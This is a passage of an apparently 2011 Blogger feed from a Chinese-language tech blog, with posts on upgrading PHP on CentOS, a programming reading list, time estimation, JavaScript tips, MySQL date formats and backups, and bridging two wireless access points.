5.5升級PHP至最新版</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://www.webtatic.com/packages/php53"&gt;&lt;br /&gt;PHP 5.3 on CentOS 5.5&lt;/a&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;#To install, first you must tell rpm to accept rpm’s signed by me, then add the yum repository information to yum:&lt;/span&gt;&lt;br /&gt;rpm -Uvh http://repo.webtatic.com/yum/centos/5/latest.rpm&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;#Now you can install php by doing:&lt;/span&gt;&lt;br /&gt;yum --enablerepo=webtatic install php&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;#update an existing installation of php&lt;/span&gt;&lt;br /&gt;yum --enablerepo=webtatic update php&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;後記&lt;br /&gt;好像失敗，原因還沒查出來&lt;br /&gt;似乎是升級php後，部份套件沒升到相同版本&lt;br /&gt;例如php 5.3,但php-common停在5.1&lt;br /&gt;先remove重灌試試&lt;br /&gt;而yum install php-common 會停在5.1&lt;br /&gt;所以要用上面的方法 改變安裝的來源&lt;br /&gt;&lt;code&gt;yum --enablerepo=webtatic install php-common&lt;/code&gt;安裝php-pear因為centos的pear版本為1.4.9 需與php-devel 5.1搭&lt;br /&gt;所以如果更新php後，就會裝不了 &lt;br /&gt;簡單點的方法就 ...&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;先降回5.1&lt;br/&gt;yum remove php php-*&lt;/li&gt;&lt;li&gt;再安裝pear&lt;br/&gt;yum install php-pear&lt;/li&gt;&lt;li&gt;最後升級php最新版&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6805432770603318503?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6805432770603318503/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6805432770603318503' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6805432770603318503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6805432770603318503'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/centos-55php53.html' title='CentOS 5.5升級PHP至最新版'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5506018948984821600</id><published>2011-06-03T20:33:00.013+08:00</published><updated>2011-12-30T00:32:20.222+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineering'/><title type='text'>軟體開發書單</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;TO-READ List&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;123&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;Programming&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li style="color: #666666;"&gt;編程創藝：編寫出卓越的程式碼 Code Craft: The Practive of Writing Excellent Code&lt;/li&gt;&lt;li style="color: #666666;"&gt;重構：改善現有程式碼的設計 Refactoring: Improving the Design of Existing Code, Martin Fowler &lt;/li&gt;&lt;li&gt;&lt;span style="color: #666666;"&gt;程式碼大全 Code Complete &lt;/span&gt;&lt;/li&gt;&lt;li&gt;程式開發心理學 The Psychology of Computer Programming&amp;nbsp;&lt;/li&gt;&lt;li&gt;程式師修煉之道 The Pragmatic Programmer &lt;/li&gt;&lt;li&gt;程式設計實踐 The Practice of Programming&lt;/li&gt;&lt;li&gt;Woking Efficiency with Legacy Code&lt;/li&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/08/apprenticeship-patterns.html"&gt;學徒模式 優秀軟體開發者的養成之路&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Design Pattern&lt;br /&gt;&lt;ul&gt;&lt;li&gt;設計模式：可重複用的物導向軟體的基礎 Design Patters: Elements of Reusable Object-Oriented Software&amp;nbsp;&lt;/li&gt;&lt;li&gt;Design Pattern於java語言上的實習應用, 結城浩 &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Coding Sytle &lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2011/08/clean-code.html"&gt;Clean Code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span id="fullpost"&gt; Software Development&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul style="text-align: left;"&gt;&lt;ul&gt;&lt;li style="color: #666666;"&gt;開發方法&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ihower.tw/blog/archives/2369"&gt;敏捷開發 (&lt;span id="fullpost"&gt;Agile Software Development)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://macwang.blogspot.com/2005/12/blog-post_07.html"&gt;Rapid Development 軟體快速開發&lt;/a&gt;&lt;/li&gt;&lt;li style="color: #666666;"&gt;&lt;a href="http://my.safaribooksonline.com/video/-/9781449314439"&gt;Agile Engineering Practices&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;li&gt;專案管理&lt;br /&gt;&lt;ul&gt;&lt;li style="color: #666666;"&gt;人月神話 (The Mythical Ma0Month)&lt;/li&gt;&lt;li&gt;&lt;span id="fullpost"&gt;溫伯格的軟體管理學, &lt;/span&gt;&lt;span id="fullpost"&gt;溫伯格&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2010/04/blog-post_16.html"&gt;與熊共舞：軟體專案的風險管理&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span id="fullpost"&gt;UML Distilled, Martin Fowler&lt;/span&gt;&lt;/li&gt;&lt;li&gt;讓事情發生--專案管理之美學&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;人件 (Peopleware:Productive Projects and Teams)&lt;/li&gt;&lt;li&gt;&lt;span id="fullpost"&gt;深入淺出軟體開發&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Ship it&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;References&lt;br /&gt;&lt;a href="http://blog.xdite.net/?p=2986"&gt;一些老梗的私房推薦書…&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5506018948984821600?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5506018948984821600/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5506018948984821600' title='4 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5506018948984821600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5506018948984821600'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/blog-post_03.html' title='軟體開發書單'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7403100810641592970</id><published>2011-06-03T20:19:00.000+08:00</published><updated>2011-06-03T20:19:38.831+08:00</updated><title type='text'>軟體開發時間估計</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;怎麼估計軟體開發的時間&lt;br /&gt;&lt;blockquote&gt;我向來不猜想。猜想是很不好的習慣，它有害邏輯的推理 ~ 夏洛克．福爾摩斯&lt;/blockquote&gt;實用的估計方法&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;將任務盡可能地分解成最小的單位，高效地通過首次系統設計&lt;/li&gt;&lt;li&gt;當得到一個不錯的解決方案，並且它的各個組成部份都可以得到正確理解的時候，為每一個小任務塊提供一個時間範圍估計，「人時」或「人天」為單位&lt;/li&gt;&lt;li&gt;當你完成所有時間範圍估計之後，將這些時間放在一起，加總即得到一個整體的時間範圍估計&lt;/li&gt;&lt;/ol&gt;&lt;blockquote&gt;&lt;b&gt;關鍵概念：&lt;/b&gt;徵求別人的意見來幫助你進行估計&lt;/blockquote&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;交付軟體所需的所有活動&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;執行考慮充分的設計&lt;/li&gt;&lt;li&gt;所有必要的試驗性工作和原型設計&lt;/li&gt;&lt;li&gt;實際的程式碼實作工作&lt;/li&gt;&lt;li&gt;除錯&lt;/li&gt;&lt;li&gt;編寫單元測試&lt;/li&gt;&lt;li&gt;整合測試&lt;/li&gt;&lt;li&gt;編寫文件&lt;/li&gt;&lt;li&gt;期間需要開展的任何研究或培訓&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;懶惰的人只有靠運氣才能做出成功的估計&lt;/blockquote&gt;&lt;br /&gt;References&lt;br /&gt;Code Craft: The Practice of Writing Excellent Code&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7403100810641592970?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7403100810641592970/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7403100810641592970' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7403100810641592970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7403100810641592970'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/blog-post.html' title='軟體開發時間估計'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5278428329181786477</id><published>2011-05-20T23:11:00.005+08:00</published><updated>2011-09-06T15:06:05.174+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='書'/><title type='text'>[書]JavaScript: 優良部份</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;b&gt;擷取&lt;/b&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;企圖擷取不存在的屬性，會產生undefined &lt;br /&gt;&lt;code&gt;stooge['middle-name'] &lt;span style="color: #6aa84f;"&gt;//undefined &lt;/span&gt;&lt;br /&gt;flight.status &lt;span style="color: #6aa84f;"&gt;//undefined &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;blockquote&gt;較好的做法 - 給予預設值 &lt;br /&gt;&lt;code&gt;var middle = stooge['middle-name'] || "(none)";&lt;br /&gt;var status = flight.status || "unknown";&lt;/code&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;企圖從undefined取值，將丟出TypeError&lt;br /&gt;可利用&amp;&amp;防衛此狀況&lt;br /&gt;&lt;code&gt;flight.equipment &lt;span style="color: #6aa84f;"&gt;//undefined &lt;/span&gt;&lt;br /&gt;flight.equipment.model &lt;span style="color: #6aa84f;"&gt;//丟出"TypeError" &lt;/span&gt;&lt;br /&gt;flight.equipment &amp;&amp; flight.equipment.model &lt;span style="color: #6aa84f;"&gt;//undefined &lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;/li&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;減少全域變數&lt;/b&gt;&lt;br /&gt;全域變教會削弱程式的彈性，利用物件包裝&lt;br /&gt;&lt;code&gt;var MYAPP = { };&lt;br /&gt;//利用這個變數保存全域變數&lt;br /&gt;MYAPP.flight = {&lt;br /&gt;airline: "Oceanic",&lt;br /&gt;number:815&lt;br /&gt;};&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference &lt;br /&gt;&lt;br /&gt;JavaScript: The Good Parts - 中譯:JavaScript: 優良部份 &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5278428329181786477?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5278428329181786477/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5278428329181786477' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5278428329181786477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5278428329181786477'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/05/javascript.html' title='[書]JavaScript: 優良部份'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3504566366563185813</id><published>2011-03-31T11:20:00.000+08:00</published><updated>2011-03-31T11:20:20.533+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>mysql datetime format</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;常用格式&lt;/li&gt;&lt;ul&gt;&lt;li&gt; 2011-03-28 &lt;br /&gt;&lt;code&gt;DATE_FORMAT(NOW(), '%Y-%m-%d');&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;DATE_FORMAT(date,format) &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;%M 月名字(January……December) &lt;br /&gt;%W 星期名字(Sunday……Saturday) &lt;br /&gt;%D 有英語前綴的月份的日期(1st, 2nd, 3rd, 等等。） &lt;br /&gt;%Y 年, 數字, 4 位 &lt;br /&gt;%y 年, 數字, 2 位 &lt;br /&gt;%a 縮寫的星期名字(Sun……Sat) &lt;br /&gt;%d 月份中的天數, 數字(00……31) &lt;br /&gt;%e 月份中的天數, 數字(0……31) &lt;br /&gt;%m 月, 數字(01……12) &lt;br /&gt;%c 月, 數字(1……12) &lt;br /&gt;%b 縮寫的月份名字(Jan……Dec) &lt;br /&gt;%j 一年中的天數(001……366) &lt;br /&gt;%H 小時(00……23) &lt;br /&gt;%k 小時(0……23) &lt;br /&gt;%h 小時(01……12) &lt;br /&gt;%I 小時(01……12) &lt;br /&gt;%l 小時(1……12) &lt;br /&gt;%i 分鐘, 數字(00……59) &lt;br /&gt;%r 時間,12 小時(hh:mm:ss [AP]M) &lt;br /&gt;%T 時間,24 小時(hh:mm:ss) &lt;br /&gt;%S 秒(00……59) &lt;br /&gt;%s 秒(00……59) &lt;br /&gt;%p AM或PM &lt;br /&gt;%w 一個星期中的天數(0=Sunday ……6=Saturday ） &lt;br /&gt;%U 星期(0……52), 這裡星期天是星期的第一天 &lt;br /&gt;%u 星期(0……52), 這裡星期一是星期的第一天 &lt;br /&gt;%% 一個文字「%」。  &lt;/div&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://www.webasp.net/article/25/24538.htm"&gt;Mysql日期和时间函数不求人&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3504566366563185813?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3504566366563185813/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3504566366563185813' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3504566366563185813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3504566366563185813'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/mysql-datetime-format.html' title='mysql datetime format'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-780979002472244895</id><published>2011-03-24T09:52:00.005+08:00</published><updated>2011-03-24T10:15:14.812+08:00</updated><title type='text'>省下網路費 (連接2台無線AP)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;由於跟老婆娘家住同社區 直線距離也只差7,8公尺而已&lt;br /&gt;一直礙於沒辦法拉條網路線，只得各自付筆網路費&lt;br /&gt;&lt;br /&gt;直到幾天前 同事才說用2台無線AP連接起來就好啦&lt;br /&gt;才一語驚醒夢中人，且開心的是2台無線AP(&lt;a href="http://www.buffalo-tech.com.tw/product1.php?T_Id=&amp;amp;P_Id=128"&gt;Buffalo WHR-G54S&lt;/a&gt;)是同款且支援Bridge模式&lt;br /&gt;這幾天試了好久，都一度想要放棄了&lt;br /&gt;但想到每個月可以省600塊網路費 還是仍力嘗試&lt;br /&gt;總於在昨天連續試了近5個小時下成功了 嗚 ...&lt;br /&gt;&lt;br /&gt;我還是快記下來，免得將來又來一次...&lt;br /&gt;而且Buffalo WHR-G54S已經停產了，將來現在產品網頁在官網已經搜尋不到了&lt;br /&gt;還是用google才找到，不過看官網出了幾台都挺不錯的無線基地台，至少號稱不用太多設定了&lt;br /&gt;&lt;br /&gt;設定說明&lt;br /&gt;官方文件：&lt;a href="http://www.buffalo-tech.com.tw/UserFiles/download/file/WHR_WDS_Manual.zip"&gt;WHR-G54S WDS設定教學,WHR系列WDS無線中繼功能設定方式&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;以下截錄官方教學文的內容&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;成功要件 &lt;br /&gt;要成功的將兩部AP 設定無線橋接／中繼／漫遊的要件如下：&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;LAN IP Address &lt;/span&gt;設定為&lt;span style="color: red;"&gt;同網段之不同IP&lt;/span&gt; (例如：192..168.11.×)。&lt;/li&gt;&lt;li&gt;第二部AP 的&lt;span style="color: red;"&gt;DHCP Server &lt;/span&gt;功能均需關畢。&lt;/li&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;WDS&lt;/span&gt; 功能均需 」Enable」。&lt;/li&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;Wireless MAC Address &lt;/span&gt;應互相抄寫。&lt;/li&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;WEP Key&lt;/span&gt; 必須相同 (請參閱說明書設定)。&lt;/li&gt;&lt;li&gt;不可使用&lt;span style="color: red;"&gt;AOSS&lt;/span&gt; 功能&lt;/li&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;Channel &lt;/span&gt;必須相同 (請參閱說明書設定)。&lt;/li&gt;&lt;li&gt;兩部AP 的&lt;span style="color: red;"&gt;ESSID &lt;/span&gt;必須相同方可達成漫遊功能(請參閱說明書設定)。&lt;/li&gt;&lt;li&gt;兩部AP 之間的&lt;span style="color: red;"&gt;距離&lt;/span&gt;必須要在可互相收到對方訊號的範圍內。&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;步驟&lt;br /&gt;注意事項&lt;br /&gt;&lt;ul&gt;&lt;li&gt;第一台IP:192.168.11.1，但第二台切到BRI時，要連192.168.11.100&lt;/li&gt;&lt;li&gt;第二台將dhcp關掉時，會透過第一台要ip，因此當2台未連接成功而要連第二台AP時，會抓不到ip,要自行設定ip&lt;/li&gt;&lt;/ul&gt;&lt;ol&gt;&lt;li&gt; 第二台AP 底座的開關要接到BRI 的位置上 , 先使用網路線串接到第一台AP&lt;br /&gt;&lt;span style="color: red;"&gt;注意: 以下之步驟兩台AP 皆需設定&lt;/span&gt;&lt;/li&gt;&lt;li&gt; 兩台AP 的橋接設定皆在"Advanced"--&amp;gt;"Wireless Config"內做設定&lt;/li&gt;&lt;li&gt; 兩台AP 的"Wireless Config"--&amp;gt;"Basic"內的設定調整&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wireless Channel--&amp;gt;預設是"Auto Channel"，要選擇一成個固定的"Channel" , 兩台要設成一樣&lt;/li&gt;&lt;li&gt;FrameBursting--&amp;gt;預設是"125*High Speed Mode"，要改選成" FrameBursting"&lt;/li&gt;&lt;li&gt;按"Apply"儲存設定&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-SFcIxahnG6Q/TYqocZ5699I/AAAAAAAAFRo/AMN5LKdCscQ/s1600/wireless%2Bconfig1.JPG" imageanchor="1"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-SFcIxahnG6Q/TYqocZ5699I/AAAAAAAAFRo/AMN5LKdCscQ/s200/wireless%2Bconfig1.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;p.s. 官方是建議SSID最後設定，因為改SSID要重連線，隨意啦&lt;br /&gt;&lt;/li&gt;&lt;li&gt;兩台AP 的"Wireless Config"--&amp;gt;"Security"內的設定&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wireless Encryption--&amp;gt;預設是"No Encryption"，要選擇"WEP"&lt;/li&gt;&lt;li&gt;WEP Encryption Key--&amp;gt;預設是"Character Input:13 Characters(WEP128)"，選擇要設定的位元數&lt;/li&gt;&lt;li&gt;在1:的空白格上輸入要設定的密碼&lt;/li&gt;&lt;li&gt;按"Apply"儲存設定&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;兩台AP 的"Wireless Config"--&amp;gt;"Repeater"內的設定&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Repeater/Bridge (WDS)--&amp;gt;預設是"Disable"，要改選成"Enable"後按"Apply"&lt;/li&gt;&lt;li&gt;Registered Access Points--&amp;gt;點選"Edit Registered WDS Partners"&lt;/li&gt;&lt;li&gt;Wireless MAC Address of an Access Point--&amp;gt;的空格中填入另一台的MAC Address，&lt;/li&gt;&lt;/ul&gt;後按下"New Partner"&lt;br /&gt;&lt;/li&gt;&lt;li&gt;確定已經設定成功後，將"Wireless Config"--&amp;gt;"Basic"--&amp;gt;"SSID"設定成相同的名字&lt;/li&gt;&lt;li&gt;以上部驟完成後即完成 WDS 之設定&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-780979002472244895?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/780979002472244895/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=780979002472244895' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/780979002472244895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/780979002472244895'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/2ap.html' title='省下網路費 (連接2台無線AP)'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-SFcIxahnG6Q/TYqocZ5699I/AAAAAAAAFRo/AMN5LKdCscQ/s72-c/wireless%2Bconfig1.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3440334664262483560</id><published>2011-03-23T11:08:00.000+08:00</published><updated>2011-03-23T11:08:57.671+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>MySQL 資料庫備份與還原</title><content type='html'>&lt;ul style="text-align: left;"&gt;&lt;li&gt;備份&lt;br /&gt;&lt;code&gt;//將DB1輸出到DB1.sql&lt;br /&gt;#mysqldump -u root -p DB1 &amp;gt; DB1.sql&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;還原 &lt;br /&gt;&lt;ul&gt;&lt;li&gt;還原整個資料庫&lt;br /&gt;&lt;code&gt;#mysql -u root -p DB1 &amp;lt; DB1.sql&lt;/code&gt;&lt;/li&gt;&lt;li&gt;還原資料表 (其實一樣)&lt;br /&gt;&lt;code&gt;#mysql -u root -p DB1 &amp;lt; DB1_Table1.sql&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://blog.udn.com/wordred0227/1912227#reply_list"&gt;MySQL 資料庫的備份與還原&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3440334664262483560?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3440334664262483560/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3440334664262483560' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3440334664262483560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3440334664262483560'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/mysql_23.html' title='MySQL 資料庫備份與還原'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2707279925320171137</id><published>2011-03-18T17:58:00.001+08:00</published><updated>2011-07-22T10:18:08.200+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>MySQL效能 - 欄位</title><content type='html'>&lt;blockquote&gt;varchar + utf-8 長度設超過 170 的話, 就無法存在 memory 裡。別以為用 varchar 就可以亂設最長長度啊。 ...截至 fcamel &lt;a href="http://fcamel-life.blogspot.com/2010/10/mysql-varchar.html"&gt;MySQL varchar 長度和效能問題&lt;/a&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2707279925320171137?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2707279925320171137/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2707279925320171137' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2707279925320171137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2707279925320171137'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/mysql.html' title='MySQL效能 - 欄位'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 